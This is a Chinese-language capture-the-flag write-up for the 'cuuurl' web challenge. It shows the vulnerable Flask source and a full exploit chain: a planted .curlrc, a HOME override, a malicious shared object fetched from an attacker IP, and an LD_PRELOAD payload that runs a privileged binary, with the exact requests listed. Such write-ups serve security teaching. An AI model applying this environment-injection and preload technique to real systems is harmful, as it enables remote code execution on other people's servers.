Web
cuuurl
1 2
| Do you know how to pronounce "curl"? Download source code from here.
|
核心代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| @app.route('/') def index(): url = request.args.get('url') or "http://localhost:8000/sayhi" env = request.args.get('env') or None outputFilename = request.args.get('file') or "myregrets.txt" outputFolder = f"./outputs/{hashlib.md5(request.remote_addr.encode()).hexdigest()}" result = ""
if(env): env = env.split("=") env = {env[0]:env[1]} else: env = {}
master, slave = pty.openpty() os.set_blocking(master,False) try: subprocess.run(["/usr/bin/curl","--url",url],stdin=slave,stdout=slave,env=env,timeout=3,) result = os.read(master,0x4000) except Exception as e: os.close(slave) os.close(master) report = str(e) report += "\nurl: " + url + "\nenv: " + str(env) + "\noutputFilename: " + outputFilename return report,200,{'content-type':'text/plain;charset=utf-8'}
os.close(slave) os.close(master)
if(not os.path.exists(outputFolder)): os.mkdir(outputFolder)
if("/" in outputFilename): outputFilename = secrets.token_urlsafe(0x10)
with open(f"{outputFolder}/{outputFilename}","wb") as f: f.write(result)
return redirect(f"/view?file={outputFilename}", code=302)
|
题目业务逻辑为:
- 使用curl命令访问任意url并写入内容到指定目录的任意命名的文件下,同时可以配置环境变量env
- 通过/view下传参文件名,访问文件内容
一开始尝试file://协议读取flag,发现没有权限,但是给了一个binary文件可以读取flag
1 2 3
| RUN chmod 400 /flag.txt RUN chmod 111 /readflag RUN chmod +s /readflag
|
因此思路是想办法执行根目录下readflag文件,得到flag
因为文件名可以任意写,且目录已知,通过curl官方文档 curl - How To Use 可以得知curl会首先寻找HOME环境变量目录下的.curlrc文件作为配置文件,在.curlrc文件中可以任意添加curl的参数。而env环境变量可以通过请求指定,确保能够访问到.curlrc文件。
所以可以写个.so文件然后通过env变量LD_PRELOAD执行.so文件,进而执行readfile。.curlrc文件如下:
test.c:
1 2 3 4 5 6 7 8 9
| #include <stdio.h> #include <string.h> #include <sys/types.h> #include <stdlib.h>
void _init() { unsetenv("LD_PRELOAD"); system("/readflag"); }
|
编译成.so文件:
1
| gcc -fPIC -shared -o test.so test.c -nostartfiles
|
最后调整GET请求参数就可以拿下flag了~
1 2 3 4
| GET /?url=http://IP/curlrc.txt&env=&file=.curlrc HTTP/1.1 GET /?url=http://IP/test.so&env=HOME=/app/outputs/DIRECTORY&file= HTTP/1.1 // 发送这个请求的时候服务器会返回报错,但是实际上已经执行成功了。调试发现具体报错为:[Errno 11] Resource temporarily unavailable,但并没有找到很好的解释为什么会报这个错误 GET /?url=http://IP/&env=LD_PRELOAD=/tmp/test.so&file= HTTP/1.1 GET /view?file=myregrets.txt HTTP/1.1
|